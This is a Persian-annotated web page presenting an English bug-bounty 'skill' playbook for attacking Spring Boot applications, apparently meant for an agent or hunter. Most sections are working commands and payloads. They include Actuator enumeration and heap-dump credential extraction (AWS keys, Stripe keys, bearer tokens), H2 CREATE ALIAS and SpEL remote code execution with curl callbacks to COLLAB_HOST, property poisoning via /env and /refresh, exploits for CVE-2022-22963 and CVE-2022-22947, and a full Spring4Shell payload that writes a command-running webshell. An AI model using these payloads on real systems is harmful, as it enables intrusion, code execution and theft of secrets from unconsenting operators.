hunt-springboot

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۶۱۰ کیلوبایت۱۳ بخش

شکار آسیب‌پذیری‌های مخصوص Spring Boot — endpointهای Actuator ‏(heapdump، env، loggers، mappings، shutdown)، تزریق SpEL ‏(Spring Expression Language) ← RCE، RCE از طریق H2 console، افشای Jolokia JMX، Spring4Shell ‏(CVE-2022-22965)، SpEL در Spring Cloud Function ‏(CVE-2022-22963) و استخراج credential از heap dump.

توضیح انگلیسی اصلی (مرجع)

Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.

نقشه‌ی ساختار اسکیل

hunt-springbootکلاس آسیب‌پذیری · ۱۳ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳سطح حمله وسیگنال‌ها۴سطح حمله وسیگنال‌ها۵بخش تکمیلی۶بخش تکمیلی۷بخش تکمیلی۸دروازه‌ی اعتبارسنجی۹بخش تکمیلی۱۰بخش تکمیلی۱۱بخش تکمیلی۱۲زنجیره‌هاو ترکیب‌ها۱۳دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۷اهداف ارزشمند · ۱سطح حمله و سیگنال‌ها · ۲دروازه‌ی اعتبارسنجی · ۲زنجیره‌ها و ترکیب‌ها · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۳

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

# HUNT-SPRINGBOOT — آسیب‌پذیری‌های مخصوص Spring Boot

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۳

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏/actuator/heapdump مربوط به Spring Boot Actuator افشاشده = heap dump با همه‌ی secretهای داخل حافظه.

‏یافته‌های پرارزش‌تر:

  • ‏‏/actuator/heapdump — dump کامل heap مربوط به JVM شامل پسوردهای plaintext، توکن‌ها، credentialهای DB و کلیدهای private هر جای حافظه
  • ‏‏/actuator/env — همه‌ی متغیرهای محیطی و propertyهای Spring از جمله secretها را لیست می‌کند
  • ‏‏/actuator/shutdown — POST ← اپلیکیشن را خاموش می‌کند (تأثیر Critical روی دسترس‌پذیری)
  • ‏کنسول H2 ‏(h2-console/) — UI ادمین DB درون‌حافظه ← اجرای کوئری SQL ← RCE بالقوه از طریق ترفند CREATE ALIAS
  • ‏تزریق SpEL — Spring Expression Language در فیلدهای تمپلیت، annotationهای @Value، پارامترهای request پردازش‌شده‌ی SpEL ← RCE
  • ‏‏Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat ← RCE از طریق data binding
۳

سطح حمله و سیگنال‌ها

Phase 1 — Fingerprint Spring Boot
ترجمه‌ی کامل ✓بخش ۳ از ۱۳

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

فاز ۲ — اثرانگشت Spring Boot: شناسایی از روی ارور Whitelabel، هدرها و endpointهای پیش‌فرض.

# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

۴

سطح حمله و سیگنال‌ها

Phase 2 — Actuator Endpoint Enumeration
ترجمه‌ی کامل ✓بخش ۴ از ۱۳

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

فاز ۳ — شمارش endpointهای Actuator: پیمایش /actuator/* برای heapdump، env، mappings، shutdown.

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

۵

بخش تکمیلی

Phase 3 — Heap Dump Analysis
ترجمه‌ی کامل ✓بخش ۵ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

فاز ۴ — تحلیل heap dump: دانلود .hprof و استخراج credential با strings/jhat.

# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

۶

بخش تکمیلی

Phase 4 — H2 Console RCE
ترجمه‌ی کامل ✓بخش ۶ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

فاز ۵ — RCE از طریق کنسول H2: ترفند CREATE ALIAS برای اجرای کد جاوا.

# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

۷

بخش تکمیلی

Phase 5 — SpEL Injection
ترجمه‌ی کامل ✓بخش ۷ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

فاز ۶ — تزریق SpEL: probeهای T(Runtime) و تست arithmetic برای تأیید ارزیابی.

# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

۸

دروازه‌ی اعتبارسنجی

Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
ترجمه‌ی کامل ✓بخش ۸ از ۱۳

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

اگر actuator مربوط به gateway افشاشده باشد، routeی اضافه کن که بدنه‌ی filter آن SpEL باشد، بعد refresh کن تا ارزیابی شود (کوتیشن‌های داخلی را برای shell ات escape کن):

curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
 -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
۹

بخش تکمیلی

Phase 5c — Writable `/env` -> `/refresh` gadget RCE
ترجمه‌ی کامل ✓بخش ۹ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

وقتی /actuator/env مقدار POST قبول کند و /actuator/refresh وجود داشته باشد، یک property را مسموم کن بعد reload کن:

# logback JNDI:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/actuator/refresh"

(Veracode: Exploiting Spring Boot Actuators.)

۱۰

بخش تکمیلی

Phase 6 — Spring4Shell (CVE-2022-22965)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

فاز ۶ — Spring4Shell ‏(CVE-2022-22965): تزریق class-loader برای نوشتن webshell.

# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback

# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

۱۱

بخش تکمیلی

Phase 7 — Jolokia JMX Exposure
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

فاز ۷ — افشای Jolokia JMX: endpoint /jolokia و زنجیره‌ی MLet به RCE.

# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30

# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"

# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

۱۲

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۳

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی Spring Bootزنجیره بهتأثیر
/actuator/heapdumpاستخراج پسوردهای DB، کلیدهای API از حافظهبیرون‌کشیدن credential بحرانی
/actuator/envخواندن همه‌ی env varها از جمله secretهاHigh
کنسول H2 در دسترسCREATE ALIAS ← RCECritical
تزریق SpELT(Runtime).exec() ← کامند OSRCE بحرانی
Spring4Shellنوشتن webshell ← RCECritical
Jolokia + MLetکد راه‌دور از طریق MBeanRCE بحرانی
۱۳

دروازه‌ی اعتبارسنجی

Validation
ترجمه‌ی کامل ✓بخش ۱۳ از ۱۳

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

✅ Heap dump: کامند strings پسوردها/توکن‌های خوانا را از فایل .hprof استخراج می‌کند

✅ Actuator/env: secretها در پاسخ JSON قابل‌مشاهده‌اند

✅ SpEL: عبارت حسابی ارزیابی می‌شود (‏7*7=49) یا callback مربوط به OOB دریافت شد

✅ کنسول H2: SQL اجرا شد، خروجی id برگشت

‏شدت:

  • ‏Heapdump با credentialها: Critical
  • ‏RCE مربوط به SpEL: Critical
  • ‏RCE مربوط به کنسول H2: Critical
  • ‏Actuator env (پسوردها افشاشده): High
  • ‏فقط افشای mappings: Low-Medium
مراحل استخراج‌شده
  1. ۱‏Heapdump با credentialها: Critical
  2. ۲‏RCE مربوط به SpEL: Critical
  3. ۳‏RCE مربوط به کنسول H2: Critical
  4. ۴‏Actuator env (پسوردها افشاشده): High
  5. ۵‏فقط افشای mappings: Low-Medium